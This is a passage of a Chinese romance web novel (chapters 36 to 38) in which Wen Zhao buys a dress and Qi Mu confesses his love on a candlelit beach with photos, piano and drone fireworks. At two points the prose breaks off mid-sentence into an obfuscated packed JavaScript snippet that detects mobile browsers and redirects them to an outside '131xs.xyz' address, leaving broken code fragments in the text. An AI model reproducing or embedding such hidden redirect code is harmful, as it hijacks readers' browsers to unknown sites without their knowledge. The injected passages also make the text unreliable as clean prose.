温昭也悄悄松了口气,紧绷的肩膀慢慢放松下来。水柱随着音乐忽高忽低,像舞动的彩龙。她渐渐看得入迷。 突然祁慕身边窜出来的一个小孩,他不得已往左边站了站,让给了小男孩一个位置,但却意外获得了更好的视角。 水幕折射的彩光在温昭侧脸上流转,映得她嘴角那抹笑意愈发清晰。她眼尾微微挑着,月牙似的卧蚕鼓起来,嘴角边还陷出两个浅浅的小肉窝。 祁慕不自觉地跟着勾起嘴角。他最喜欢看她笑,尽管这个笑容他见过很多次,但却怎么也看不够。 比海边的蓝眼泪更动人,比眼前绚丽的喷泉更耀眼,就像是六月的骄阳。 …… 温昭悄悄转了半张脸,视线往祁慕那边飘。他还戴着口罩,大半张脸都遮着,只能看见一双眼睛,倒映着不同的颜色。 不过,辨不出什么情绪来。 她犹豫了一下,还是轻轻喊:“祁慕。” 祁慕闻声看过来,眼底带着点询问:“怎么了?” “你,开心吗?”问出口的瞬间,温昭立马就有些懊恼。 这问的什么呀,也太突兀了。 她略微尴尬地蜷着指节。 “怎么突然问这个?” “没什么,”温昭赶紧摇摇头,重新仰起脸看喷泉,正好赶上那片水幕被染成了粉嫩嫩的颜色,衬得周围都温柔了几分:“就…随便问问。” 水柱正往最高处蹿,而后又簌簌地落下来,像是粉色的星星,最后碎成了一地的星子。 就在这时,身后传来他的声音,伴随着水花声,轻轻淡淡的:“开心。” 温昭顿了顿。 他又接着问:“那你呢?开心吗?” 那双眼睛里像是落满了细碎的光,连带着他额前的碎发,都被喷泉的光晕染得泛着柔和的粉。 她看着看着,嘴角就忍不住弯起来,对着他笑:“嗯。” 她看着他。 以前她真的不喜欢散步,只觉得无聊,还不如多做点回忆录,又或是看几个医疗片子。 可现在,她也是真的喜欢散步。 又或是…… 是真的喜欢那个陪她散步的人。 她又转念一想。 这场预谋的偶遇好像还挺成功的。 - 回到家中,温昭刚洗完澡出来,正拿着毛巾有一下没一下地擦着湿发,放在浴室大理石台面上的手机忽然亮了一下,屏幕的光在水汽氤氲的镜子上投出片淡淡的影子。 她随手拿起来划开: 7:【周日晚上七点半,星海南海滩103号。】 温昭愣了愣。 这是……吃饭的地方? 这么快就定好了? 等等! 她眨了眨眼,忽然反应过来什么。 周日?今天是周几来着? 指尖在屏幕上往下滑了滑,状态栏里显示着—— 星期五。 那可不就是后天? 怎么这么快…… 她跑到卧室,拉开衣柜门往里一瞅。挂着的还是前几个月的旧款,这季度太忙,压根没买过新衣服。 她又跑回浴室拿起手机,点开和林晚的聊天框,手指在键盘上敲得飞快:【姐妹,明天晚上陪我逛街呗。】 过了片刻,聊天框跳出来一条信息,一个“OK”的表情包。 温昭对着屏幕弯了弯嘴角,放下手机,看着镜子中的自己,脑子里却忍不住开始幻想那一天的场景。 越想心里越像揣了只小雀,扑腾得厉害。 37. 第37章(二更) 周末商场里人挤人,跟下饺子似的。温昭拉着林晚走进了一家服装店。她指尖划过衣架上的布料,一件一件扒拉着,看的认真。 林晚从后面凑过来,指尖戳了戳她:“你个不对劲啊,太阳打西边出来了?怎么突然想起要买衣服了?” 温昭飞快瞥了她一眼,又低下头盯着衣服:“没什么,就突然发现,好像没什么能穿的新衣服了……”说完,她脸颊泛起层薄红,还强撑着冲林晚扯了扯嘴角。 那假笑看得林晚更起疑了。 林晚眯着眼凑近打量她,温昭被她看得不自在,刚抬眼对视了一瞬,就猛地扭过脸去,假装在认真挑选衣服。 林晚:“昭昭,你不对劲!” 温昭睫毛使劲颤着,手里攥着刚挑出的一件紫白色渐变纱裙,空调风一吹,裙摆轻轻飘着,扫得她手心里有点痒。她捏着布料,结结巴巴地犟嘴:“哪、哪里不对劲了……” “哪里都不对劲!”林晚窜到温昭跟前,温昭被吓得一颤,往后退了几步。 林晚却紧追不放:“上礼拜我拉你逛街,你还说‘衣服够穿就行,买那么多干嘛’,把我拒得死死的。这才几天啊,转性了?” 被她这么一说,温昭的脸更红了,在白皙的皮肤上格外显眼。 林晚眼尖,这下彻底察觉到了不对劲:“我好像嗅到了一股八卦的味道?” “没有!”温昭慌忙否认,又胡乱从衣架上扯了件衣服,塞进怀里抱得更紧了,“真、真的就是突然想通了,你说得挺对的,是该买几件新的!” 她说的可是大实话!可不就是觉得没衣服穿了才来的么! 她举了举怀里挑出的三四件,几乎是落荒而逃:“我、我先去试试!”话音未落,人已经小跑冲向更衣间了,生怕林晚继续追问。 林晚在她身后看着那抹慌忙逃窜的背影,摇了摇头,低声嘀咕:“绝对不对劲……” 也难怪她这么想。 温昭这人向来物欲低,对穿什么根本不讲究,往常都是林晚硬拖着她逛街,她才顺带着买一两件。毕竟在她看来,自己这职业,哪用得着那么多新衣服。 如果不是因为要和祁慕出去吃饭…… 下一次主动来买衣服,还不知道要等到猴年马月呢。 她低头看着怀里的几件衣服,嘴角忍不住悄悄翘了起来。 …… 换好衣服出来,温昭走到镜子边上,照了照。紫白渐变的纱裙裹着她纤细的腰线,裙摆随着动作轻轻晃。上身是件银紫色挂脖上衣,在店里白织灯的映照下,细碎的光泽流转,像沾了层朦胧的月光,衬得她肤色更加白净。 林晚一眼就瞅见了,几步走过来,一只手托着另一只胳膊肘支在下巴上,绕着她转了半圈:“昭昭,你这身好看是好看,但是怎么感觉好正式……”她拖着调子琢磨,“像是…要去约、会。” 温昭一愣:“有、有吗?” 林晚重重点头,脑袋里像有根线突然搭上了,刚宕机一秒就“嗡”地通了电。 “不对!”她看向温昭,“温昭昭,你老实交代,是不是有情况了?!” 温昭脸上刚消下去的红晕又漫了上来。她张了张嘴想辩解,最后还是轻轻闭上,没吭声。这副模样,比直接承认还明显。 “我就说呢!”林晚笑得一脸促狭,“好端端的怎么突然要买新衣服?这是……要去约会啊?” “没有!”温昭急忙否认。 ——都没在一起呢,哪来的约会。 她原本想等进展再明朗些才跟林晚说,可看着对方那双仿佛能洞穿一切的眼睛,就知道藏不住了,索性耷拉下肩膀,把昨天约祁慕的事儿和吃饭的事一五一十说了。 …… “哇趣!真的假的?!”林晚惊得拔高了音量,引得旁边店员看过来,她赶紧捂住嘴,压低声音又问了遍,“你约的他?” 温昭点了点头,还带着点小骄傲似的,轻轻“嗯”了一声。 “可以啊你!”林晚又撞了下她的肩,“我还以为你得扭捏半天呢,没想到这么主动?” “都说了要追人,总不能……眼睁睁看着人跑了吧?” 林晚点了点头,挽过温昭的肩:“可以可以。”她忽然想起什么,又问,“不过你前阵子不是说,他还有七八天才回来吗?怎么这么快?” 温昭摇摇头,眼底也带了点茫然:“我也不知道,可能……是事情忙完了?” 林晚“哦”了一声,琢磨着也有道理,又拍了拍她的胳膊:“那我可等着听你好消息了哦!”她向温昭挑了挑眉。 温昭低下头,看着镜子里穿着新裙子的自己,嘴角扬起一抹弧度,脑海里不由自主浮现出祁慕的身影。 想起他穿白衬衫时,袖口挽到小臂露出的利落线条;想起他抬眸看过来时,那双深邃的眼眸总能把她的心跳看得乱了节拍;想起他偶尔笑起来,眼尾会轻轻往上挑,淡漠里藏了点不易察觉的温柔; 还有昨天……他说的那句“开心”。 …… 脸颊又开始发烫,她悄悄用指尖按了按。 还有……一天。 不知道他会穿什么…… 她深吸口气,压下心底那点雀跃,抬眼看向林晚,语气轻快:“走吧,再挑几件。” “行!”林晚爽快应着,拉着她就往另一边的衣架走。 林晚这会儿开心得很。毕竟自家闺蜜难得动了春心,还这么主动,这可比逛街本身有意思多了。 - 周日,温昭睡眼惺忪地摸过床头的手机,点亮屏幕就瞧见了祁慕的消息。 是早上五点三十四分发的:【晚上我让陶逸兴来接你,公司有点事要忙,我到时候直接自己过去。】 她指尖在屏幕上顿了顿,慢慢敲下:【会不会太麻烦了,我可以自己过去的。】 消息刚发出去没几秒,那边就回了:【那地方有点偏,让他来接你放心些。况且,到时候我们也能一起回来。】 温昭盯着这行字犯嘀咕:有点偏?能比上次那地方还偏? 说起来也怪,祁慕挑吃饭的地儿,总爱往偏了选。上次是因为有烟花秀,那这次呢? 她指尖往上滑,翻出祁慕发的地址—— 【星海南岸海滩。】 难不成……是去看海? 温昭微微皱了眉。 可一般看海不都去北岸海滩么?又热闹又方便。南岸那边平时除了节假日,人影都难见着。虽说风景不差,可真挺偏的,从市中心过去都得一个多小时车程。 她盯着屏幕愣了愣,犹豫了一秒,轻轻敲下:【好。】 不过…… 自打周五晚上一起散完步,祁慕就跟人间蒸发了似的。这两天她再没见过他,连他家的灯都没亮过,瞧着像是没人在。 她前阵子还瞎琢磨,现在想来,大概是工作上的事太忙了。不过也是,干艺人这行的,忙起来脚不沾地本就平常。 她对着手机屏幕又怔了几秒,才放下,慢吞吞掀开被子爬起来。 …… 洗完澡吹好头发,刚好下午四点多。 昨晚她在网上翻了半宿的妆造教程。虽说平时不怎么碰这些,但她学东西向来灵。屏幕里博主怎么画,她就跟着依葫芦画瓢。 眼影该晕染出多大弧度,唇釉怎么叠涂更有层次感,腮红打在苹果肌上要轻要淡…… 一步一步,学得有模有样。 - 太阳慢慢沉下去,天边晕开一片浅浅的淡紫色,混着天上的云团,刚好跟温昭身上那件紫白纱裙的颜色对上了。 “叮——”化妆桌上的手机震了震。 是祁慕发来的消息:【陶逸兴到小区门口了,你收拾好了出来就行,不用急。】 温昭回了个“好”,对着镜子看了看,满意地弯了弯唇,拎着小包出了门。 刚走到小区门口,就瞧见陶逸兴站在辆白色保姆车旁,见了她便笑着挥了挥手。温昭也点头回笑,快步走过去:“麻烦陶助理了。” “小事儿,上车吧。”陶逸兴拉开后座车门。 “好。” 刚坐稳没多久,手机就弹出视频通话请求,是祁慕。温昭指尖微微发颤地接起来,屏幕里的他看着也在车里,背景是白色的皮质座椅。 “上车了?”他开口,声音透过听筒传来,带着点电流的微麻。 温昭点头:“嗯,刚上。” 祁慕应了声好,又说:“一会儿见。” “好,”温昭弯着唇应下,“一会儿见。” 说完,祁慕就挂了电话。 前座的陶逸兴不知在偷乐什么,肩膀微微耸动。温昭瞥到那动静,他慌忙坐直了想掩饰,嘴角的笑意却怎么也压不住,反倒更明显了。 温昭顿时有些不好意思,脸颊微微地泛红,像是被染上了天边的晚霞。她慌忙转脸看向窗外,假装看路边掠过的风景,耳根却依旧发烫。 车里安静了几秒。 陶逸兴先开了口:“温医生,其实我还挺想谢谢你的。” 温昭闻声回头,透过车内的后视镜望向他,眼里带着点疑惑:“谢我?” “嗯。”陶逸兴在红灯口踩下刹车,也从后视镜里看她,语气诚恳,“以前阿慕就是个工作狂,一年到头几乎没什么喘息的空当。后来他外婆又生了病,他不得不把手里一部分工作停下来,心里却反倒比以前更沉了,像压着块石头。” “但自从认识了你,他好像……渐渐爱笑了,说话也没以前那么带刺,而且……”他轻笑一声,话里带着点欣慰,“更有人情味了。” 温昭听着,也跟着弯了弯唇,声音轻轻的,却很笃定:“因为他本身就是一个温柔又细腻的人。” 只不过小时候那些事,让他习惯了用冷硬的外壳把自己裹起来,假装成不近人情的样子。 陶逸兴握着方向盘的手顿了顿,显然有些意外。认识祁慕这么多年,他听得多的是“毒舌”“冷傲”“不好接近”,偶尔有粉丝滤镜厚的会说句“反差萌”,可“温柔”这两个字,几乎没人敢安在祁慕身上—— 除了他这个从小一起长大的发小。 虽说祁慕偶尔爱犯贱,嘴上不饶人,但陶逸兴心里很清楚,那层硬壳底下藏着的底色是什么样的。 可他真没料到,温昭居然能瞧得透。 而且她说这话时,眼神清澈又认真,仿佛她认识的祁慕,从来都是这样。 绿灯跳亮的瞬间,陶逸兴踩下油门,车子平稳地滑出去。他心里忽然有些欣慰,嘴角往上扬。 他是真替祁慕高兴—— 这次,他遇到了个能看穿他那层伪装的人。 - “他应该也到了,你进去吧。” “谢谢陶助理。” “小事。” 她推开车门走了下去。 海边的风带着点咸湿味儿卷过来,吹得路边的椰树叶沙沙响,也拨起她颊边的碎发。路灯已经亮了,暖黄的光洒在身上,那身银色上衣像裹了层柔光,随海风轻轻晃。 与此同时,手机在掌心亮起。 7:【你进来吧,我到了。】 温昭回了个【好】。 消息刚发出,又一条信息跳了出来: 7:【共享实时位置。】 她点开定位,顺着箭头指引的方向走去。 没走几步,一阵钢琴声顺着海风传来,清冷、悠扬,在寂静的街道上格外清楚。 “怎么这儿还有人弹钢琴。”她小声嘀咕着,脚步放慢了些。 音符在耳边绕了两圈,她微微一怔,停下了脚步。 这旋律她熟得不能再熟。不是什么正经钢琴曲,是首流行歌,还是她私下里循环最多的那首《密语》。 不过跟原版的伴奏曲调不太一样,像是被改编过。 “难道这儿有音乐节?” 可左右看了看,除了几个散步回家的居民,连个扎堆的人影都没有。撇开这琴声,整条街静得只能听见海风扫过树叶的声响。 钢琴前奏渐歇,一道清冷的男声跟着响起,低低的,裹着海风漫过来。 虽不似原版的那么完美,但也挺好听的。 温昭低头看着手机箭头,继续往前走,顺着指引往右一转。 她慢慢抬眼,却呼吸一滞。 两旁明明还是沙滩细沙,偏中间这条路,竟铺了层圆润的鹅软石。两旁还错落摆着些大小不一的模型蜡烛,暖黄的光跳动着,将夜色晕染得朦胧而温柔。 这…什么情况? 真有音乐节? 她心头一跳,慌忙低头看手机,指尖把地图画面放大了点,屏幕上两个小头像离得很近,祁慕就在前面,没走错。 可这也不像吃饭的地儿啊…… 她有点手足无措,脑子里空落落的,被海风吹得啥也不剩,就剩个“要不要继续往前走”的念头在打转。 犹豫了一下,她还是试探着抬起脚,踩在鹅软石上,一步一步,带着点不真实的轻飘。 椰树的叶子在头顶交叠,漏下细碎的光。透过实现前方的枝叶缝隙,能依稀看见不远处有个身影,被层层光晕裹着,迷迷糊糊,看不真切。可在她心底却莫名产生一种熟悉感。 呼吸在一瞬间变得紊乱。 ……是他吗? - 直到踩着鹅卵石走到尽头,鞋底踏上了松软的沙滩,眼前的景象忽然像被人掀开了帘子似的,一下子变得亮堂开阔起来。 她的脚步也在这一瞬顿住。 浑身的力气好像被抽走了大半,捏着手机的指节松了劲,手机在掌心里轻轻晃了晃,最终垂在身侧,眼睫簌簌地颤。 沙滩上铺着厚厚的花瓣,粉的红的,踩上去软乎乎的,脚一落就像陷进了玫瑰堆成的云里。两侧立着的木架缠满了星星灯,暖黄的光串在鲜花和木架上,一闪一闪的,把花瓣照得愈发娇嫩,红的更艳,粉的更柔。 前面摆着一架钢琴,一个穿着白色衬衫的男人坐在那儿,骨节分明的手指在黑白琴键上轻快跳跃。清冽的嗓音透过麦克风飘过来,一下下传入耳边。优越的侧脸线条上映着一旁星星灯光的形状,整个人都变得温柔,沉静。 这一刻,她无比确定: 就是他。 温昭望着眼前如梦似幻的场景,有些恍惚。 这些……是他布置的? 他……要干嘛…… 拍MV? 还是搞露天音乐会? 她的目光扫过铺满花瓣的沙滩和闪烁的星星灯。可四下空荡荡的,除了她和钢琴前的祁慕,再没有其他观众。 无数疑问在脑海中翻涌。 她怔怔地望着那片光亮,好一会儿才回过神,慢慢往前走去。 这才发现星星灯的线绳上,还夹着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286440|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一张张拍立得照片,边角被海风掀得轻轻卷着。 她又走进了点。 看清最前面那张照片的瞬间,她瞳孔猛地一缩—— 照片上是她。 是她第一次去看他脱口秀演出那天。 也是他们的第二次见面。 不过这照片瞧着像是路人拍的,他从哪儿找来的? 她盯着照片出神,海风忽然卷过来,把照片吹得扬起一角,背面的字迹露了个边。不等她看清,风又停了,像是故意逗她似的,照片又乖乖落了回去。 温昭的心跳得有点乱,小心翼翼地捏住照片边缘,轻轻翻了过来。 一行刚劲有力的字迹撞进眼里。 “那是我第二次看见她…” 她轻声念出上面的字迹,声音越来越小。 “长相与性格截然不同,反驳的时候很倔强,但为什么又有点……可爱……” ——2019.4.16。 可爱? 她张了张嘴,心跳漏了一拍。 那时候他们明明针锋相对,剑拔弩张…… 她明明记得自己当时气得要命,他怎么还觉得…可爱? …… 她舔了舔有些发干的唇,把照片小心翼翼地放回去,又拿起旁边那张。 这个场景……是在医院?! 难道是那次陪她去医院的时候…… 记忆慢慢涌来。她的指尖不自觉地收紧,照片边缘被捏出细小的褶皱。 他什么时候拍的? 手指在照片背面迟疑地徘徊,终于缓缓将它翻转。 果然又有字—— [第一次有人关心,依旧是她。]——2019.4.18 …… 她愣在原地,心跳扑通扑通地加快。前面还有好几张照片,每一张都像是一个未知的秘密,让她忍不住想要一探究竟。 脚步不自觉地向前移动。 第三张照片映入眼帘—— 是在飞往滨海的飞机上。 照片里的她歪着头靠在他肩上,发丝散落在他的颈侧,睡得毫无防备。 那是张合照。 温昭盯着照片,记忆慢慢浮现。 她记得那时候迷迷糊糊地醒过一次,只不过那个时候还是祁慕靠在她肩上。后来不知道为什么就变成她靠在他肩上了。 所以……那个姿势,是他后来故意换的? 她的呼吸顿了顿,轻轻翻转照片。 [第一张合照,她还不知道。]——2019.4.30 “她还不知道……”温昭喃喃地重复着这句话,心脏像是被什么东西轻轻撞了下,有点酸,又有点软。 是啊,她确实不知道。 那时候的她,只敢在心底偷偷想:靠在他肩上的感觉,还挺舒服。 …… 她拿起第四张照片,是五一那晚看蓝眼泪的时候。 照片里的她侧身站在海边,裙摆被海风轻轻扬起。 “这张…”怎么有点眼熟? 她连忙摸出手机,解锁,连忙掏出手机,划开了祁慕的朋友圈。 果然,在那天的动态里找到一张相似的照片。只不过照片被裁剪成了正方形,只留下她模糊的侧影。 但,怎么好像……是同一张。 她将手机屏幕凑近拍立得。 两张照片的边缘几乎重合的瞬间,她呼吸突然凝滞。 原来他发的朋友圈…是故意裁过的? 一张几乎完整的3:4的图片在自己眼前,有他,有海,也有……她。 完完整整的她。 那会儿温昭还以为他是觉得他这张照片帅才发的。 原来,不是。 她手指轻颤,深吸一口气,将照片翻过来—— [海风知我意,知我喜欢你。]——2019.5.1 温昭摩挲着上面用金色签字笔写的那一行字,而旁边亮着的手机屏幕上也有前面五个字—— 海风知我意。 但最后的几个字,是没有的。 是被他藏起来的。 她抬起头,落在钢琴前那个身影上。 恰在此时,琴声微顿。 他恰好也朝她看过来。她的眼眶忽然就酸了,水汽漫了上来。那些闪烁的烛光、被海风吹起的花瓣,还有他的轮廓,都化成了朦胧的光晕。 他唇角微扬,露出一个温柔至极的笑。修长的手指重新落在琴键上,旋律和歌手再次倾泻而出。 温昭站在原地,海风轻抚过她的发梢。钢琴声里,她望着那个专注弹奏的身影,胸口泛起一阵阵酸涩的温暖。 也是在这一刻,她好像明白了什么,心跳不受控制地加快。 …… 第五张,她给他做的牛肉面。 [第一次有人给他做面。]——2019.5.6 指尖划过第六张照片,是梁咏思演唱会的场景。照片里的她举着荧光棒,定格的瞬间她嘴巴张着,在那边跟唱。 翻到背面,字迹清晰可见: [我的密语是,温昭,我喜欢你。]——2019.5.13 温昭看着那句“我喜欢你”,眼泪终于夺眶而出,顺着脸颊滑落。 “原来…”她笑着擦去泪水,声音哽咽:“那个时候我们想的…是一样的。” 她转头看向他,想起那天晚上,她偷偷说的话—— 演唱会上,她偷偷用余光看着身旁跟唱的祁慕:“因为你在,所以喜欢。” 还有一句是:“喜欢你,是我唯一的密语。” 不过。 “祁慕,”她轻轻唤着他的名字,声音混在歌声和琴声里,“从今天开始,喜欢你这件事,应该不会再是密语了……” …… 第七张,是那次看烟花的时候。 她的背影。 [看你能温柔,这句话是真的。]——2019.5.14 所以…他当时朋友圈发的那句: 【烟花很绚烂,但他找到了比烟花更绚烂的人。】 是对她说的… 不是别人。 第八张,温昭正仰头看着喷洒而出的水柱,就是前天的时候。 [她问我开不开心,但我想让她知道,只要她在,我就开心。]——2019.5.24 …… 温昭慢慢放下最后一张照片,指尖已经被泪水打湿。 恰好这时,祁慕弹完了最后一个音符,琴声戛然而止,空气里只剩下海风和她轻微的抽泣声。 她望着他,脸上早就爬满了泪痕,一滴接一滴的眼泪顺着下颌线滑下来,落在脚边的花瓣上,晕开一小片深色的湿痕。她低头浅浅地弯了弯唇,眼泪却顺着嘴角流进嘴里,咸涩的味道漫开来。 但,心是甜的。 祁慕转过头,目光落在她脸上,顿了一秒,轻轻推开钢琴凳站了起来。 他朝着她一步步走来,步伐很慢,认真的用视线一寸一寸看着不远处站着的女孩。 她依旧很好看。 栗棕色的波浪卷发被海风吹得轻轻扬起,几缕发丝黏在泪痕未干的脸颊上。那双好看的桃花眼微微弯起,眼里盛着水光,朦朦胧胧的,像含了一整个春天的雨。 温昭看着他越走越近,忍不住向前走了几步,终于站在了他触手可及的地方。 38. 第38章 祁慕在她跟前停下,海风慢悠悠卷过来,裹着点花瓣的甜香。他修长的手指轻轻地贴上她的脸颊,指腹软软的,带着点温热,把没干透的泪痕一点点拭去。 温昭盯着他这双骨节分明的手看了好一会儿,才慢慢抬起眼,望进他的眼睛里。 祁慕缓缓开口:“这些照片,每一张都藏着我想,却没敢说出口的密语。” 他看着她,灯光落在他深眼窝处。 温昭恍惚间又想起了第一次去看他脱口秀的模样。 那天聚光灯把他的影子拉得很长,浑身都好似带着锋利的刺,带着骄傲,眼尾挑着漫不经心的意味。即使隔着座位都能感觉到那股子疏离、冷漠。 可现在不一样了。 他眼里的锋芒收得干净,眼神像初春化了的雪水,很柔软,没有冷意。瞳孔还是那么深,却像面镜子,里头清清楚楚映着的,就只有她一个人的影子。 “第一次见到你,只觉得这个女孩怎么那么倔。”他顿了顿,嘴角抿出点浅淡的笑意,“记得在医院那次吗?你知道我害怕打针,捂住我眼睛的那次。那大概是我这辈子头一回觉得,不逞强好像也没什么关系,也是第一次感受到,我居然……被人照顾了。” 他垂眸浅笑:“还是个…小姑娘。” “在飞机上,我也不知道为什么,就拍下了那张照片。起初只是怕这样靠着你,你会难受,所以才换了姿势。可后来当你醒来的时候,飞机落地的瞬间,我突然觉得,这几个小时,怎么过的这么快……” “还有看蓝眼泪那晚,”他喉结滚动了一下,“你回头对我笑的那一下,我的心跳像疯了似的疯狂跳着。那时候我才明白,原来这就是心动的感觉。" 他说完自己先笑了:“其实这些话我很早就想告诉你了,但一直憋着没说,怕吓跑你。” 温昭忍不住笑出声,眼角还残留着湿意:“祁老师,我就这么胆小啊?” 祁慕摇摇头,笑意渐渐收敛,眼神沉了下来:“不是你胆小,而是我害怕我失去你。”他声音沉了下来,“那次我看到你那个青梅竹马的哥哥,摸你头的时候,我嫉妒得发疯,我害怕,害怕你心里有别人了。还有……祁清远打我那次,我也是真的害怕了,害怕你看到我歇斯底里的一面,会吓得跑走;怕你看见我那么狼狈的样子,怕你知道我家那些糟心事……” 他没再继续说,只是望着她,眼眶渐渐红了,眼里的不安像是水面上的涟漪一般,一圈圈荡开。 “可直到你说,”他顿了顿,语气柔得一塌糊涂,“你说你……喜欢我。” 温昭怔了一秒,微张着嘴。 那天的雨声,他通红的双眼,还有自己说这句话时的冲动,画面一点点在眼前清晰起来,带着潮湿的暖意。 ——原来,他都听见了。 “说来可笑,”他扯了扯嘴角,自嘲地笑了笑,“我这辈子第一次感谢那个混蛋,就是因为他打了我那一下……” “让我知道,原来这份喜欢,从不是我一厢情愿。” 温昭眼眶越来越酸,一直发烫,水珠顺着脸颊一颗颗滚落,嘴角却忍不住往上扬。 “昭昭,” 这声昵称轻轻巧巧钻进耳朵,温昭呼吸瞬间一滞。 这是她第一次听到他这样叫她,亲昵又温柔。 祁慕停了停,目光沉沉地锁着她,一字一句道:“我喜欢你,很喜欢很喜欢。”他望着她的眼睛,认真得不像话,仿佛要用尽全身力气去证明,他有多么喜欢她。 空气静了几秒,只能听见海风卷着花瓣掠过地面的沙沙声。 他喉结轻轻滚了滚,声音里带着压不住的紧张:“你……愿不愿意,和我在一起?” 这一刻,温昭只觉得浑身的血都往头顶涌。 她原本还在悄悄攒着勇气,想一步一步走到他面前,告诉他,她喜欢他。可现在才后知后觉地发现,她往他身边走的每一步,脚下都踩着他写的“我喜欢你”。 祁慕望着她,一滴泪顺着眼角滑下来。温昭下意识伸手替他抹掉,指尖触到他温热的皮肤,微微发颤。她双手轻轻捂住他的脸颊,掌心贴着他的温度,看着他的眼睛,对着他笑,用力点了点头,一下,又一下。 “我愿意。”她望着他红透的眼睛,声音轻轻的。 “你说什么?”祁慕呼吸一滞,生怕自己听错。 温昭看着他这副紧张的样子,忍不住笑了笑,眼眶还红着,却往前又走了一小步,把声音放亮了些,一字一句说得格外清楚:“我说,我愿意。” “我也说不清是哪一刻开始的,只知道后来见不到你会想,看到你不开心会跟着紧张,还有现在,听到你说喜欢我,我真的很开心。”她顿了顿,又说,“但我也想告诉你,” “祁慕,我喜欢你,不是一时兴起,是想跟你一起看很多次海,看很多场烟花,是……很喜欢很喜欢的那种。” 海风不知何时变得黏糊糊的柔,卷着地上铺得厚厚的花瓣飞起来,打着旋儿又簌簌落下来,沾在两人脚边。祁慕嘴角控制不住地往上扬,一次又一次,每一次都比前一次扬的高度高,眼里盛着的是她,也是属于他的星光。 他微凉的手轻轻覆上她捧着自己脸颊的手,慢慢攥紧了,指腹在她手背上轻轻摩挲,而后慢慢拉下来,按在自己腰侧。他跟着微微俯身,把她拥进怀里。 祁慕嘴角的笑意就没停过,喉结轻轻滚动,抵在她肩头,温热的呼吸毫无规律地拂过她颈侧。 温昭怔了一瞬,随即抬手,轻轻环住了他的背。她紧紧贴着他,祁慕的心跳又快又重,却令人安心。她把脸埋在他肩头,忍不住弯起嘴角,连自己的心跳也跟着他的节奏,一点点变快、变重。 祁慕微微侧头,看着温昭发红的耳尖。另一只手小心翼翼地放入口袋,捏出个小小的遥控器来,指腹轻轻一按。 夜空中升起好多光点,密密麻麻的,在墨蓝的幕布上慢慢拼出形状。 “昭昭。”他侧过头,看着她飘起的发丝,在她耳畔轻语,“看天上。” 温昭还懵着,轻轻挣开他的怀抱,望了他一眼,才后知后觉地转过头,仰起脸看向夜空。 夜空中,那些无人机渐渐组成个小王子的模样,旁边还缀着朵玫瑰花。 小王子一步一步往前挪,走到玫瑰花跟前的刹那,那朵花忽然散了,化作漫天像玫瑰花瓣似的烟火,簌簌往下落,像一场盛大的玫瑰雨。 她满脸惊讶地看着天空中的盛景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286441|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,直到第一波“玫瑰雨”彻底落下,才缓缓回过神:“这些……是你准备的?” 祁慕从背后轻轻环住她,把人圈在怀里,下巴轻轻抵着她发顶,低低应了声:“嗯。” 温昭又转回头望他。祁慕也看向她,嘴角弯出浅浅的弧度:“今天这场烟花,只为你一个人放。就当做……你被我拐走的礼物吧。” 温昭眼眶又热了,却弯着唇故意逗他:“那我要是没答应你呢?” “嗯……”祁慕拖长了调子,佯装低头琢磨,随即抬眼望她:“那就当是我追你的第一步?反正我相信我总能追上。” 温昭被他逗笑,肩头在他胸口轻轻颤着。 “怎么了?后悔了?”他紧了紧手臂。 “没。” “那就好。” …… “你知道我最喜欢小王子里面的哪句话吗?”祁慕又把她抱得紧了些。 “哪句?” “因为你有金色的头发,从此我再看见金黄色的麦田,就会想起你,甚至,我爱上了风吹麦浪的声音。”他顿了顿,喉结轻轻滚了滚,“看海、看烟花、看演唱会……所有的一切在我认识你之前,都不太感兴趣。但直到遇见了你,慢慢地好像我也喜欢上了这些东西。” “所以昭昭,谢谢你,谢谢你在我贫瘠且荒芜的土地上,愿意为我盛开一朵玫瑰。” “祁慕……”温昭想回句什么,眼泪却先一步滚下来,喉间像被堵住了什么,慢慢变紧。 他抬手捧住她的脸,指腹触到一片微凉的湿,从泛红的眼尾轻轻蹭过,掠小巧的鼻尖,最后落在她湿润的唇瓣上,轻轻摩挲着。 他带着点微颤的试探,俯身慢慢贴近她。 一寸,又一寸。 直到温热的柔软贴上她的唇角。 这一次,不是梦里那种模糊的、抓不住的触感。 是真的。 他真的吻了她,而她也真真切切地感受到了,那带着点微颤和温度的触感,还有他唇间淡淡的、清冽的气息。 祁慕收紧手臂,把她搂得更紧。背后的手隔着薄薄的丝缎,缓缓覆上她纤细的后腰,掌心的烫意透过布料渗进来,一路烧到心底,燎得人慌。 这个吻很轻,带着点初时的生涩,又藏着压抑了太久的温柔,小心翼翼的。 温热的呼吸在鼻尖缠缠绕绕,像揉碎的月光,绵密地裹住了两个人。他轻轻动了动唇,一点一点,温柔地、慢慢地,将她的气息与他自己的融在一起。 温昭整个都僵着,屏着呼吸,完全不知道该做什么。就这样任由他带着,任由那陌生、滚烫的触感一点点漫上来,占据所有发肤、感官。 …… 漫天的烟花还在头顶炸开,把天空染成粉紫色的雾。海浪卷着细沙,一遍遍拍上岸,又恋恋不舍地退下去,留下湿漉漉的痕迹。海风吹过,带着咸腥气,吹干了两人脸上的泪痕,只留唇角萦绕着淡淡的甜。 祁慕。 如果可以,我想做只属于你的那朵玫瑰。不会枯萎,不会败落,更不会用尖刺推开你。 这样,从今往后,你的星球再也不会荒芜孤寂。 